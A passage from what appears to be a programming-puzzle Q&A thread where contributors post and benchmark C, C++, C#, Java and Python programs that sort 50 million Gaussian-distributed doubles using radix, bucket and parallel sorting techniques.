>= 0.) { std::reverse(dbuf + p, dbuf + size); break; } // Insertion sort for (int i = 1; i < size; i++) { double value = dbuf[i]; if (value < dbuf[i - 1]) { dbuf[i] = dbuf[i - 1]; int p = i - 1; for (; p > 0 && value < dbuf[p - 1]; p--) dbuf[p] = dbuf[p - 1]; dbuf[p] = value; } } } int main(int argc, char **argv) { size = atoi(argv[1]); dbuf = new double[size]; copy = new double[size]; FILE *f = fopen("gaussian.dat", "r"); fread(dbuf, size, sizeof(double), f); fclose(f); clock_t c0 = clock(); sort(); printf("Finished after %.3f\n", (double) ((clock() - c0)) / CLOCKS_PER_SEC); return 0; } ``` I doubt it beats the multi-threaded solution, but the timings on my i7 laptop are (stdsort is the C++ solution provided in another answer): ``` $ g++ -O3 mysort.cpp -o mysort && ./mysort 50000000 Finished after 2.10 $ g++ -O3 stdsort.cpp -o stdsort && ./stdsort Finished after 7.12 ``` Note that this solution has **linear time complexity** (because it uses the special representation of doubles). **EDIT**: Fixed the order of elements to be increasing. **EDIT**: Improved speed by almost half a second. **EDIT**: Improved speed by another 0.7 seconds. Made the algorithm more cache friendly. **EDIT**: Improved speed by another 1 second. Since there only 50.000.000 elements I can partially sort the mantissa and use insert sort (which is cache friendly) to fix out-of-place elements. This idea removes around two iterations from the last radix sorting loop. **EDIT**: 0.16 less seconds. First std::reverse can be eliminated if the sorting order is reversed. [Answer] Taking Christian Ammer's solution and parallelizing it with Intel's Threaded Building Blocks ``` #include <iostream> #include <fstream> #include <algorithm> #include <vector> #include <ctime> #include <tbb/parallel_sort.h> int main(void) { std::ifstream ifs("gaussian.dat", std::ios::binary | std::ios::in); std::vector<double> values; values.reserve(50000000); double d; while (ifs.read(reinterpret_cast<char*>(&d), sizeof(double))) values.push_back(d); clock_t c0 = clock(); tbb::parallel_sort(values.begin(), values.end()); std::cout << "Finished after " << static_cast<double>((clock() - c0)) / CLOCKS_PER_SEC << std::endl; } ``` If you have access to Intel's Performance Primitives (IPP) library, you can use its radix sort. Just replace ``` #include <tbb/parallel_sort.h> ``` with ``` #include "ipps.h" ``` and ``` tbb::parallel_sort(values.begin(), values.end()); ``` with ``` std::vector<double> copy(values.size()); ippsSortRadixAscend_64f_I(&values[0], &copy[0], values.size()); ``` On my dual core laptop, the timings are ``` C 16.4 s C# 20 s C++ std::sort 7.2 s C++ tbb 5 s C++ ipp 4.5 s python too long ``` [Answer] How about an implementation of [parallel quicksort](http://en.wikipedia.org/wiki/Quicksort#Parallelization) that chooses its pivot values based on the statistics of the distribution, thereby ensuring equal sized partitions? The first pivot would be at the mean (zero in this case), the next pair would be at the 25th and 75th percentiles (+/- -0.67449 standard deviations), and so on, with each partition halving the remaining data set more or less perfectly. [Answer] Very ugly (why use arrays when I can use variables ending with numbers), but fast code (my first try to std::threads), whole time (time real) on my system 1,8 s (comparing to std::sort() 4,8 s), compile with g++ -std=c++0x -O3 -march=native -pthread Just pass data through stdin (works only for 50M). ``` #include <cstdio> #include <iostream> #include <algorithm> #include <thread> using namespace std; const size_t size=50000000; void pivot(double* start,double * end, double middle,size_t& koniec){ double * beg=start; end--; while (start!=end){ if (*start>middle) swap (*start,*end--); else start++; } if (*end<middle) start+=1; koniec= start-beg; } void s(double * a, double* b){ sort(a,b); } int main(){ double *data=new double[size]; FILE *f = fopen("gaussian.dat", "rb"); fread(data,8,size,f); size_t end1,end2,end3,temp; pivot(data, data+size,0,end2); pivot(data, data+end2,-0.6745,end1); pivot(data+end2,data+size,0.6745,end3); end3+=end2; thread ts1(s,data,data+end1); thread ts2(s,data+end1,data+end2); thread ts3(s,data+end2,data+end3); thread ts4(s,data+end3,data+size); ts1.join(),ts2.join(),ts3.join(),ts4.join(); //for (int i=0; i<size-1; i++){ // if (data[i]>data[i+1]) cerr<<"BLAD\n"; //} fclose(f); //fwrite(data,8,size,stdout); } ``` //Edit changed to read gaussian.dat file. [Answer] A C++ solution using `std::sort` (eventually faster than qsort, regarding [Performance of qsort vs std::sort](https://stackoverflow.com/questions/4708105/performance-of-qsort-vs-stdsort)) ``` #include <iostream> #include <fstream> #include <algorithm> #include <vector> #include <ctime> int main(void) { std::ifstream ifs("C:\\Temp\\gaussian.dat", std::ios::binary | std::ios::in); std::vector<double> values; values.reserve(50000000); double d; while (ifs.read(reinterpret_cast<char*>(&d), sizeof(double))) values.push_back(d); clock_t c0 = clock(); std::sort(values.begin(), values.end()); std::cout << "Finished after " << static_cast<double>((clock() - c0)) / CLOCKS_PER_SEC << std::endl; } ``` I can't reliable say how long it takes because I only have 1GB on my machine and with the given Python code I could only make a `gaussian.dat` file with only 25mio doubles (without getting a Memory error). But I'm very interested how long the std::sort algorithm runs. [Answer] Here is a mix of Alexandru's radix sort with Zjarek's threaded smart pivoting. Compile it with ``` g++ -std=c++0x -pthread -O3 -march=native sorter_gaussian_radix.cxx -o sorter_gaussian_radix ``` You can change the radix size by defining STEP (e.g. add -DSTEP=11). I found the best for my laptop is 8 (the default). By default, it splits the problem into 4 pieces and runs that on multiple threads. You can change that by passing a depth parameter to the command line. So if you have two cores, run it as ``` sorter_gaussian_radix 50000000 1 ``` and if you have 16 cores ``` sorter_gaussian_radix 50000000 4 ``` The max depth right now is 6 (64 threads). If you put too many levels, you will just slow the code down. One thing I also tried was the radix sort from the Intel Performance Primitives (IPP) library. Alexandru's implementation soundly trounces IPP, with IPP being about 30% slower. That variation is also included here (commented out). ``` #include <stdlib.h> #include <string.h> #include <algorithm> #include <ctime> #include <iostream> #include <thread> #include <vector> #include <boost/cstdint.hpp> // #include "ipps.h" #ifndef STEP #define STEP 8 #endif const int step = STEP; const int start_step=24; const int num_steps=(64-start_step+step-1)/step; int size; double *dbuf, *copy; clock_t c1, c2, c3, c4, c5; const double distrib[]={-2.15387, -1.86273, -1.67594, -1.53412, -1.4178, -1.31801, -1.22986, -1.15035, -1.07752, -1.00999, -0.946782, -0.887147, -0.830511, -0.776422, -0.724514, -0.67449, -0.626099, -0.579132, -0.53341, -0.488776, -0.445096, -0.40225, -0.36013, -0.318639, -0.27769, -0.237202, -0.197099, -0.157311, -0.11777, -0.0784124, -0.0391761, 0, 0.0391761, 0.0784124, 0.11777, 0.157311, 0.197099, 0.237202, 0.27769, 0.318639, 0.36013, 0.40225, 0.445097, 0.488776, 0.53341, 0.579132, 0.626099, 0.67449, 0.724514, 0.776422, 0.830511, 0.887147, 0.946782, 1.00999, 1.07752, 1.15035, 1.22986, 1.31801, 1.4178, 1.53412, 1.67594, 1.86273, 2.15387}; class Distrib { const int value; public: Distrib(const double &v): value(v) {} bool operator()(double a) { return a<value; } }; void recursive_sort(const int start, const int end, const int index, const int offset, const int depth, const int max_depth) { if(depth<max_depth) { Distrib dist(distrib[index]); const int middle=std::partition(dbuf+start,dbuf+end,dist) - dbuf; // const int middle= // std::partition(dbuf+start,dbuf+end,[&](double a) // {return a<distrib[index];}) // - dbuf; std::thread lower(recursive_sort,start,middle,index-offset,offset/2, depth+1,max_depth); std::thread upper(recursive_sort,middle,end,index+offset,offset/2, depth+1,max_depth); lower.join(), upper.join(); } else { // ippsSortRadixAscend_64f_I(dbuf+start,copy+start,end-start); c1=clock(); double *dbuf_local(dbuf), *copy_local(copy); boost::uint64_t mask = (1 << step) - 1; int cnt[num_steps][mask+1]; boost::uint64_t *ibuf = reinterpret_cast<boost::uint64_t *> (dbuf_local); for(int i=0;i<num_steps;++i) for(uint j=0;j<mask+1;++j) cnt[i][j]=0; for (int i = start; i < end; i++) { for (int w = start_step, v = 0; w < 64; w += step, v++) { int p = (~ibuf[i] >> w) & mask; (cnt[v][p])++; } } c2=clock(); std::vector<int> sum(num_steps,0); for (uint i = 0; i <= mask; i++) { for (int w = start_step, v = 0; w < 64; w += step, v++) { int tmp = sum[v] + cnt[v][i]; cnt[v][i] = sum[v]; sum[v] = tmp; } } c3=clock(); for (int w = start_step, v = 0; w < 64; w += step, v++) { ibuf = reinterpret_cast<boost::uint64_t *>(dbuf_local); for (int i = start; i < end; i++) { int p = (~ibuf[i] >> w) & mask; copy_local[start+((cnt[v][p])++)] = dbuf_local[i]; } std::swap(copy_local,dbuf_local); } // Do the last set of reversals for (int p = start; p < end; p++) if (dbuf_local[p] >= 0.) { std::reverse(dbuf_local+p, dbuf_local + end); break; } c4=clock(); // Insertion sort for (int i = start+1; i < end; i++) { double value = dbuf_local[i]; if (value < dbuf_local[i - 1]) { dbuf_local[i] = dbuf_local[i - 1]; int p = i - 1; for (; p > 0 && value < dbuf_local[p - 1]; p--) dbuf_local[p] = dbuf_local[p - 1]; dbuf_local[p] = value; } } c5=clock(); } } int main(int argc, char **argv) { size = atoi(argv[1]); copy = new double[size]; dbuf = new double[size]; FILE *f = fopen("gaussian.dat", "r"); fread(dbuf, size, sizeof(double), f); fclose(f); clock_t c0 = clock(); const int max_depth= (argc > 2) ? atoi(argv[2]) : 2; // ippsSortRadixAscend_64f_I(dbuf,copy,size); recursive_sort(0,size,31,16,0,max_depth); if(num_steps%2==1) std::swap(dbuf,copy); // for (int i=0; i<size-1; i++){ // if (dbuf[i]>dbuf[i+1]) // std::cout << "BAD " // << i << " " // << dbuf[i] << " " // << dbuf[i+1] << " " // << "\n"; // } std::cout << "Finished after " << (double) (c1 - c0) / CLOCKS_PER_SEC << " " << (double) (c2 - c1) / CLOCKS_PER_SEC << " " << (double) (c3 - c2) / CLOCKS_PER_SEC << " " << (double) (c4 - c3) / CLOCKS_PER_SEC << " " << (double) (c5 - c4) / CLOCKS_PER_SEC << " " << "\n"; // delete [] dbuf; // delete [] copy; return 0; } ``` **EDIT**: I implemented Alexandru's cache improvements, and that shaved off about 30% of the time on my machine. **EDIT**: This implements a recursive sort, so it should work well on Alexandru's 16 core machine. It also use's Alexandru's last improvement and removes one of the reverse's. For me, this gave a 20% improvement. **EDIT**: Fixed a sign bug that caused inefficiency when there are more than 2 cores. **EDIT**: Removed the lambda, so it will compile with older versions of gcc. It includes the IPP code variation commented out. I also fixed the documentation for running on 16 cores. As far as I can tell, this is the fastest implementation. **EDIT**: Fixed a bug when STEP is not 8. Increased the maximum number of threads to 64. Added some timing info. [Answer] I guess this really depends on what you want to do. If you want to sort a bunch of Gaussians, then this won't help you. But if you want a bunch of sorted Gaussians, this will. Even if this misses the problem a bit, I think it will be interesting to compare vs actual sorting routines. If you want to something to be fast, do less. Instead of generating a bunch of random samples from the normal distribution and then sorting, you can generate a bunch of samples from the normal distribution in sorted order. You can use the solution [here](https://stackoverflow.com/questions/2140787/select-random-k-elements-from-a-list-whose-elements-have-weights/2149533#2149533) to generate n uniform random numbers in sorted order. Then you can use the inverse cdf (scipy.stats.norm.ppf) of the normal distribution to turn the uniform random numbers into numbers from the normal distribution via [inverse transform sampling](http://en.wikipedia.org/wiki/Inverse_transform_sampling). ``` import scipy.stats import random # slightly modified from linked stackoverflow post def n_random_numbers_increasing(n): """Like sorted(random() for i in range(n))), but faster because we avoid sorting.""" v = 1.0 while n: v *= random.random() ** (1.0 / n) yield 1 - v n -= 1 def n_normal_samples_increasing(n): return map(scipy.stats.norm.ppf, n_random_numbers_increasing(n)) ``` If you want to get your hands dirtier, I'd guess that you might be able to speed up the many inverse cdf calculations by using some kind of iterative method, and using the previous result as your initial guess. Since the guesses are going to be very close, probably a single iteration will give you great accuracy. [Answer] Try this changing Guvante's solution with this Main(), it starts sorting as soon as 1/4 IO reading is done, it's faster in my test: ``` static void Main(string[] args) { FileStream filestream = new FileStream(@"..\..\..\gaussian.dat", FileMode.Open, FileAccess.Read); doubles = new double[][] { new double[count / 4], new double[count / 4], new double[count / 4], new double[count / 4] }; Thread[] threads = new Thread[4]; for (int i = 0; i < 4; i++) { byte[] bytes = new byte[count * 4]; filestream.Read(bytes, 0, count * 4); for (int j = 0; j < count / 4; j++) { doubles[i][j] = BitConverter.ToDouble(bytes, i * count/4 + j * 8); } threads[i] = new Thread(ThreadStart); waiting[i] = events[i] = new AutoResetEvent(false); threads[i].Start(i); } WaitHandle.WaitAll(waiting); double[] left = Merge(doubles[0], doubles[1]); double[] right = Merge(doubles[2], doubles[3]); double[] result = Merge(left, right); Console.ReadKey(); } } ``` [Answer] Since you know the distribution, my idea would be to make k buckets, each with the same expected number of elements (since you know the distribution, you can compute this). Then in O(n) time, sweep the array and put elements into their buckets. Then concurrently sort the buckets. Suppose you have k buckets, and n elements. A bucket will take (n/k) lg (n/k) time to sort. Now suppose that you have p processors that you can use. Since buckets can be sorted independently, you have a multiplier of ceil(k/p) to deal with. This gives a final runtime of n + ceil(k/p)\*(n/k) lg (n/k), which should be a good deal faster than n lg n if you choose k well. [Answer] One low-level optimization idea is to fit two doubles in a SSE register, so each thread would work with two items at a time. This might be complicated to do for some algorithms. Another thing to do is sorting the array in cache-friendly chunks, then merging the results. Two levels should be used: for example first 4 KB for L1 then 64 KB for L2. This should be very cache-friendly, since the bucket sort will not go outside the cache, and the final merge will walk memory sequentially. These days computation is much cheaper than memory accesses. However we have a large number of items, so it's hard to tell which is the array size when dumb cache-aware sort is slower than a low-complexity non-cache-aware version. But I won't provide an implementation of the above since I would do it in Windows (VC++). [Answer] Here's a linear scan bucket sort implementation. I think it's faster than all current single-threaded implementations except for radix sort. It should have linear expected running time if I'm estimating the cdf accurately enough (I'm using linear interpolation of values I found on the web) and haven't made any mistakes that would cause excessive scanning: ``` #include <stdio.h> #include <stdlib.h> #include <string.h> #include <algorithm> #include <ctime> using std::fill; const double q[] = { 0.0, 9.865E-10, 2.8665150000000003E-7, 3.167E-5, 0.001349898, 0.022750132, 0.158655254, 0.5, 0.8413447460000001, 0.9772498679999999, 0.998650102, 0.99996833, 0.9999997133485, 0.9999999990134999, 1.0, }; int main(int argc, char** argv) { if (argc <= 1) return puts("No argument!"); unsigned count = atoi(argv[1]); unsigned count2 = 3 * count; bool *ba = new bool[count2 + 1000]; fill(ba, ba + count2 + 1000, false); double *a = new double[count]; double *c = new double[count2 + 1000]; FILE *f = fopen("gaussian.dat", "rb"); if (fread(a, 8, count, f) != count) return puts("fread failed!"); fclose(f); int i; int j; bool s; int t; double z; double p; double d1; double d2; for (i = 0; i < count; i++) { s = a[i] < 0; t = a[i]; if (s) t--; z = a[i] - t; t += 7; if (t < 0) { t = 0; z = 0; } else if (t >= 14) { t = 13; z = 1; } p = q[t] * (1 - z) + q[t + 1] * z; j = count2 * p; while (ba[j] && c[j] < a[i]) { j++; } if (!ba[j]) { ba[j] = true; c[j] = a[i]; } else { d1 = c[j]; c[j] = a[i]; j++; while (ba[j]) { d2 = c[j]; c[j] = d1; d1 = d2; j++; } c[j] = d1; ba[j] = true; } } i = 0; int max = count2 + 1000; for (j = 0; j < max; j++) { if (ba[j]) { a[i++] = c[j]; } } // for (i = 0; i < count; i += 1) { // printf("here %f\n", a[i]); // } return 0; } ``` [Answer] I don't know, why I can't edit my previous post, so here's new version, 0,2 seconds faster (but about 1,5 s faster in CPU time (user)). This solution have 2 programs, first precalculates quantiles for normal distribution for bucket sort, and stores it in table, t[double \* scale] = bucket index, where scale is some arbitrary number which makes casting to double possible. Then main program can use this data to put doubles in correct bucket. It has one drawback, if data is not gaussian it will not work correctly (and also there is almost zero chance to work incorrectly for normal distribution), but modification for special case is easy and fast (only number of buckets checks and falling to std::sort()). Compiling: g++ => <http://pastebin.com/WG7pZEzH> helper program g++ -std=c++0x -O3 -march=native -pthread => <http://pastebin.com/T3yzViZP> main sorting program [Answer] [Here](https://github.com/brtzsnr/sorting/blob/master/gsort.cpp) is another sequential solution. This one uses the fact that the elements are normal distributed, and the I think the idea is generally applicable to get sorting close to linear time. The algorithm is like this: * Approximate CDF (see `phi()` function in the implementation) * For all elements compute the approximate position in the sorted array: `size * phi(x)` * Put elements in a new array close to their final position + In my implementation destination array has some gaps in it so I don't have to shift too many elements when inserting. * Use insertsort to sort the final elements (insertsort is linear if distance to final position is smaller than a constant). Unfortunately, the hidden constant is quite large and this solution is twice as slow as the radix sort algorithm. [Answer] My personal favorite using Intel's Threaded Building Blocks has already been posted, but here's a crude parallel solution using JDK 7 and its new fork/join API: ``` import java.io.FileInputStream; import java.nio.channels.FileChannel; import java.util.Arrays; import java.util.concurrent.*; import static java.nio.channels.FileChannel.MapMode.READ_ONLY; import static java.nio.ByteOrder.LITTLE_ENDIAN; /** * * Original Quicksort: https://github.com/pmbauer/parallel/tree/master/src/main/java/pmbauer/parallel * */ public class ForkJoinQuicksortTask extends RecursiveAction { public static void main(String[] args) throws Exception { double[] array = new double[Integer.valueOf(args[0])]; FileChannel fileChannel = new FileInputStream("gaussian.dat").getChannel(); fileChannel.map(READ_ONLY, 0, fileChannel.size()).order(LITTLE_ENDIAN).asDoubleBuffer().get(array); ForkJoinPool mainPool = new ForkJoinPool(); System.out.println("Starting parallel computation"); mainPool.invoke(new ForkJoinQuicksortTask(array)); } private static final long serialVersionUID = -642903763239072866L; private static final int SERIAL_THRESHOLD = 0x1000; private final double a[]; private final int left, right; public ForkJoinQuicksortTask(double[] a) {this(a, 0, a.length - 1);} private ForkJoinQuicksortTask(double[] a, int left, int right) { this.a = a; this.left = left; this.right = right; } @Override protected void compute() { if (right - left < SERIAL_THRESHOLD) { Arrays.sort(a, left, right + 1); } else { int pivotIndex = partition(a, left, right); ForkJoinTask<Void> t1 = null; if (left < pivotIndex) t1 = new ForkJoinQuicksortTask(a, left, pivotIndex).fork(); if (pivotIndex + 1 < right) new ForkJoinQuicksortTask(a, pivotIndex + 1, right).invoke(); if (t1 != null) t1.join(); } } public static int partition(double[] a, int left, int right) { // chose middle value of range for our pivot double pivotValue = a[left + (right - left) / 2]; --left; ++right; while (true) { do ++left; while (a[left] < pivotValue); do --right; while (a[right] > pivotValue); if (left < right) { double tmp = a[left]; a[left] = a[right]; a[right] = tmp; } else { return right; } } } } ``` **Important disclaimer**: I took the quick-sort adaption for fork/join from: <https://github.com/pmbauer/parallel/tree/master/src/main/java/pmbauer/parallel> To run this you need a beta build of JDK 7 (http://jdk7.java.net/download.html). On my 2.93Ghz Quad core i7 (OS X): **Python reference** ``` time python sort.py 50000000 sorting... real 1m13.885s user 1m11.942s sys 0m1.935s ``` **Java JDK 7 fork/join** ``` time java ForkJoinQuicksortTask 50000000 Starting parallel computation real 0m2.404s user 0m10.195s sys 0m0.347s ``` I also tried to do some experimenting with parallel reading and converting the bytes to doubles, but I did not see any difference there. **Update:** If anyone wants to experiment with parallel loading of the data, the parallel loading version is below. In theory this could make it go a little faster still, if your IO device has enough parallel capacity (SSDs usually do). There's also some overhead in creating Doubles from bytes, so that could potentially go faster in parallel as well. On my systems (Ubuntu 10.10/Nehalem Quad/Intel X25M SSD, and OS X 10.6/i7 Quad/Samsung SSD) I did not see any real difference. ``` import static java.nio.ByteOrder.LITTLE_ENDIAN; import static java.nio.channels.FileChannel.MapMode.READ_ONLY; import java.io.FileInputStream; import java.nio.DoubleBuffer; import java.nio.channels.FileChannel; import java.util.Arrays; import java.util.concurrent.ForkJoinPool; import java.util.concurrent.ForkJoinTask; import java.util.concurrent.RecursiveAction; /** * * Original Quicksort: https://github.com/pmbauer/parallel/tree/master/src/main/java/pmbauer/parallel * */ public class ForkJoinQuicksortTask extends RecursiveAction { public static void main(String[] args) throws Exception { ForkJoinPool mainPool = new ForkJoinPool(); double[] array = new double[Integer.valueOf(args[0])]; FileChannel fileChannel = new FileInputStream("gaussian.dat").getChannel(); DoubleBuffer buffer = fileChannel.map(READ_ONLY, 0, fileChannel.size()).order(LITTLE_ENDIAN).asDoubleBuffer(); mainPool.invoke(new ReadAction(buffer, array, 0, array.length)); mainPool.invoke(new ForkJoinQuicksortTask(array)); } private static final long serialVersionUID = -642903763239072866L; private static final int SERIAL_THRESHOLD = 0x1000; private final double a[]; private final int left, right; public ForkJoinQuicksortTask(double[] a) {this(a, 0, a.length - 1);} private ForkJoinQuicksortTask(double[] a, int left, int right) { this.a = a; this.left = left; this.right = right; } @Override protected void compute() { if (right - left < SERIAL_THRESHOLD) { Arrays.sort(a, left, right + 1); } else { int pivotIndex = partition(a, left, right); ForkJoinTask<Void> t1 = null; if (left < pivotIndex) t1 = new ForkJoinQuicksortTask(a, left, pivotIndex).fork(); if (pivotIndex + 1 < right) new ForkJoinQuicksortTask(a, pivotIndex + 1, right).invoke(); if (t1 != null) t1.join(); } } public static int partition(double[] a, int left, int right) { // chose middle value of range for our pivot double pivotValue = a[left + (right - left) / 2]; --left; ++right; while (true) { do ++left; while (a[left] < pivotValue); do --right; while (a[right] > pivotValue); if (left < right) { double tmp = a[left]; a[left] = a[right]; a[right] = tmp; } else { return right; } } } } class ReadAction extends RecursiveAction { private static final long serialVersionUID = -3498527500076085483L; private final DoubleBuffer buffer; private final double[] array; private final int low, high; public ReadAction(DoubleBuffer buffer, double[] array, int low, int high) { this.buffer = buffer; this.array = array; this.low = low; this.high = high; } @Override protected void compute() { if (high - low < 100000) { buffer.position(low); buffer.get(array, low, high-low); } else { int middle = (low + high) >>> 1; invokeAll(new ReadAction(buffer.slice(), array, low, middle), new ReadAction(buffer.slice(), array, middle, high)); } } } ``` **Update2:** I executed the code on one of our 12 core dev machines with a slight modification to set a fixed amount of cores. This gave the following results: ``` Cores Time 1 7.568s 2 3.903s 3 3.325s 4 2.388s 5 2.227s 6 1.956s 7 1.856s 8 1.827s 9 1.682s 10 1.698s 11 1.620s 12 1.503s ``` On this system I also tried the Python version which took 1m2.994s and Zjarek's C++ version which took 1.925s (for some reason Zjarek's C++ version seems to run relatively faster on static\_rtti's computer). I also tried what happened if I doubled the file size to 100,000,000 doubles: ``` Cores Time 1 15.056s 2 8.116s 3 5.925s 4 4.802s 5 4.430s 6 3.733s 7 3.540s 8 3.228s 9 3.103s 10 2.827s 11 2.784s 12 2.689s ``` In this case, Zjarek's C++ version took 3.968s. Python just took too long here. 150,000,000 doubles: ``` Cores Time 1 23.295s 2 12.391s 3 8.944s 4 6.990s 5 6.216s 6 6.211s 7 5.446s 8 5.155s 9 4.840s 10 4.435s 11 4.248s 12 4.174s ``` In this case, Zjarek's C++ version was 6.044s. I didn't even attempt Python. The C++ version is very consistent with its results, where Java swings a little. First it gets a little more efficient when the problem gets larger, but then less efficient again. [Answer] A version using traditional pthreads. Code for merging copied from Guvante's answer. Compile with `g++ -O3 -pthread`. ``` #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <algorithm> static unsigned int nthreads = 4; static unsigned int size = 50000000; typedef struct { double *array; int size; } array_t; void merge(double *left, int leftsize, double *right, int rightsize, double *result) { int l = 0, r = 0, insertat = 0; while (l < leftsize && r < rightsize) { if (left[l] < right[r]) result[insertat++] = left[l++]; else result[insertat++] = right[r++]; } while (l < leftsize) result[insertat++] = left[l++]; while (r < rightsize) result[insertat++] = right[r++]; } void * run_thread(void *input) { array_t numbers = *(array_t *)input; std::sort(numbers.array, numbers.array+numbers.size); pthread_exit(NULL); } int main(int argc, char **argv) { double *numbers = (double *) malloc(size * sizeof(double)); FILE *f = fopen("gaussian.dat", "rb"); if (fread(numbers, sizeof(double), size, f) != size) return printf("Reading gaussian.dat failed"); fclose(f); array_t worksets[nthreads]; int worksetsize = size / nthreads; for (int i = 0; i < nthreads; i++) { worksets[i].array=numbers+(i*worksetsize); worksets[i].size=worksetsize; } pthread_attr_t attributes; pthread_attr_init(&attributes); pthread_attr_setdetachstate(&attributes, PTHREAD_CREATE_JOINABLE); pthread_t threads[nthreads]; for (int i = 0; i < nthreads; i++) { pthread_create(&threads[i], &attributes, &run_thread, &worksets[i]); } for (int i = 0; i < nthreads; i++) { pthread_join(threads[i], NULL); } double *tmp = (double *) malloc(size * sizeof(double)); merge(numbers, worksetsize, numbers+worksetsize, worksetsize, tmp); merge(numbers+(worksetsize*2), worksetsize, numbers+(worksetsize*3), worksetsize, tmp+(size/2)); merge(tmp, worksetsize*2, tmp+(size/2), worksetsize*2, numbers); /* printf("Verifying result..\n"); for (int i = 0; i < size - 1; i++) { if (numbers[i] > numbers[i+1]) printf("Result is not correct\n"); } */ pthread_attr_destroy(&attributes); return 0; } ``` On my laptop I get the following results: ``` real 0m6.660s user 0m9.449s sys 0m1.160s ``` [Answer] Here is a sequential C99 implementation that tries to really make use of the known distribution. It basically does a single round of bucket sort using the distribution information, then a few rounds of quicksort on each bucket assuming a uniform distribution within the limits of the bucket and finally a modified selection sort to copy the data back to the original buffer. The quicksort memorizes the split points, so selection sort only needs to operate on small cunks. And in spite (because?) of all that complexity, it isn't even really fast. To make evaluating Φ fast, the values are sampled in a few points and later on only linear interpolation is used. It actually does not matter if Φ is evaluated exactly, as long as the approximation is strictly monotonic. The bin sizes are chosen such that the chance of an bin overflow is negligible. More precisely, with the current parameters, the chance that a dataset of 50000000 elements will cause a bin overflow is 3.65e-09. (This can be computed using the [survival function](http://en.wikipedia.org/wiki/Survival_function) of the [Poisson distribution](http://en.wikipedia.org/wiki/Poisson_distribution).) To compile, please use ``` gcc -std=c99 -msse3 -O3 -ffinite-math-only ``` Since there is considerably more computation than in the other solutions, these compiler flags are needed to make it at least reasonably fast. Without `-msse3` the conversions from `double` to `int` become really slow. If your architecture does not support SSE3, these conversions can also be done using the `lrint()` function. The code is rather ugly -- not sure if this meets the requirement of being "reasonably readable"... ``` #include <stdio.h> #include <stdlib.h> #include <assert.h> #include <math.h> #define N 50000000 #define BINSIZE 720 #define MAXBINSIZE 880 #define BINCOUNT (N / BINSIZE) #define SPLITS 64 #define PHI_VALS 513 double phi_vals[PHI_VALS]; int bin_index(double x) { double y = (x + 8.0) * ((PHI_VALS - 1) / 16.0); int interval = y; y -= interval; return (1.0 - y) * phi_vals[interval] + y * phi_vals[interval + 1]; } double bin_value(int bin) { int left = 0; int right = PHI_VALS - 1; do { int centre = (left + right) / 2; if (bin < phi_vals[centre]) right = centre; else left = centre; } while (right - left > 1); double frac = (bin - phi_vals[left]) / (phi_vals[right] - phi_vals[left]); return (left + frac) * (16.0 / (PHI_VALS - 1)) - 8.0; } void gaussian_sort(double *restrict a) { double *b = malloc(BINCOUNT * MAXBINSIZE * sizeof(double)); double **pos = malloc(BINCOUNT * sizeof(double*)); for (size_t i = 0; i < BINCOUNT; ++i) pos[i] = b + MAXBINSIZE * i; for (size_t i = 0; i < N; ++i) *pos[bin_index(a[i])]++ = a[i]; double left_val, right_val = bin_value(0); for (size_t bin = 0, i = 0; bin < BINCOUNT; ++bin) { left_val = right_val; right_val = bin_value(bin + 1); double *splits[SPLITS + 1]; splits[0] = b + bin * MAXBINSIZE; splits[SPLITS] = pos[bin]; for (int step = SPLITS; step > 1; step >>= 1) for (int left_split = 0; left_split < SPLITS; left_split += step) { double *left = splits[left_split]; double *right = splits[left_split + step] - 1; double frac = (double)(left_split + (step >> 1)) / SPLITS; double pivot = (1.0 - frac) * left_val + frac * right_val; while (1) { while (*left < pivot && left <= right) ++left; while (*right >= pivot && left < right) --right; if (left >= right) break; double tmp = *left; *left = *right; *right = tmp; ++left; --right; } splits[left_split + (step >> 1)] = left; } for (int left_split = 0; left_split < SPLITS; ++left_split) { double *left = splits[left_split]; double *right = splits[left_split + 1] - 1; while (left <= right) { double *min = left; for (double *tmp = left + 1; tmp <= right; ++tmp) if (*tmp < *min) min = tmp; a[i++] = *min; *min = *right--; } } } free(b); free(pos); } int main() { double *a = malloc(N * sizeof(double)); FILE *f = fopen("gaussian.dat", "rb"); assert(fread(a, sizeof(double), N, f) == N); fclose(f); for (int i = 0; i < PHI_VALS; ++i) { double x = (i * (16.0 / PHI_VALS) - 8.0) / sqrt(2.0); phi_vals[i] = (erf(x) + 1.0) * 0.5 * BINCOUNT; } gaussian_sort(a); free(a); } ``` [Answer] ``` #include <stdio.h> #include <math.h> #include <stdlib.h> #include <memory.h> #include <algorithm> // maps [-inf,+inf] to (0,1) double normcdf(double x) { return 0.5 * (1 + erf(x * M_SQRT1_2)); } int calcbin(double x, int bins) { return (int)floor(normcdf(x) * bins); } int *docensus(int bins, int n, double *arr) { int *hist = calloc(bins, sizeof(int)); int i; for(i = 0; i < n; i++) { hist[calcbin(arr[i], bins)]++; } return hist; } void partition(int bins, int *orig_counts, double *arr) { int *counts = malloc(bins * sizeof(int)); memcpy(counts, orig_counts, bins*sizeof(int)); int *starts = malloc(bins * sizeof(int)); int b, i; starts[0] = 0; for(i = 1; i < bins; i++) { starts[i] = starts[i-1] + counts[i-1]; } for(b = 0; b < bins; b++) { while (counts[b] > 0) { double v = arr[starts[b]]; int correctbin; do { correctbin = calcbin(v, bins); int swappos = starts[correctbin]; double tmp = arr[swappos]; arr[swappos] = v; v = tmp; starts[correctbin]++; counts[correctbin]--; } while (correctbin != b); } } free(counts); free(starts); } void sortbins(int bins, int *counts, double *arr) { int start = 0; int b; for(b = 0; b < bins; b++) { std::sort(arr + start, arr + start + counts[b]); start += counts[b]; } } void checksorted(double *arr, int n) { int i; for(i = 1; i < n; i++) { if (arr[i-1] > arr[i]) { printf("out of order at %d: %lf %lf\n", i, arr[i-1], arr[i]); exit(1); } } } int main(int argc, char *argv[]) { if (argc == 1 || argv[1] == NULL) { printf("Expected data size as argument\n"); exit(1); } int n = atoi(argv[1]); const int cachesize = 128 * 1024; // a guess int bins = (int) (1.1 * n * sizeof(double) / cachesize); if (argc > 2) { bins = atoi(argv[2]); } printf("Using %d bins\n", bins); FILE *f = fopen("gaussian.dat", "rb"); if (f == NULL) { printf("Couldn't open gaussian.dat\n"); exit(1); } double *arr = malloc(n * sizeof(double)); fread(arr, sizeof(double), n, f); fclose(f); int *counts = docensus(bins, n, arr); partition(bins, counts, arr); sortbins(bins, counts, arr); checksorted(arr, n); return 0; } ``` This uses erf() to place each element appropriately into a bin, then sorts each bin. It keeps the array entirely in-place. First pass: docensus() counts the number of elements in each bin. Second pass: partition() permutes the array, placing each element into its proper bin Third pass: sortbins() performs a qsort on each bin. It's kind of naive, and calls the expensive 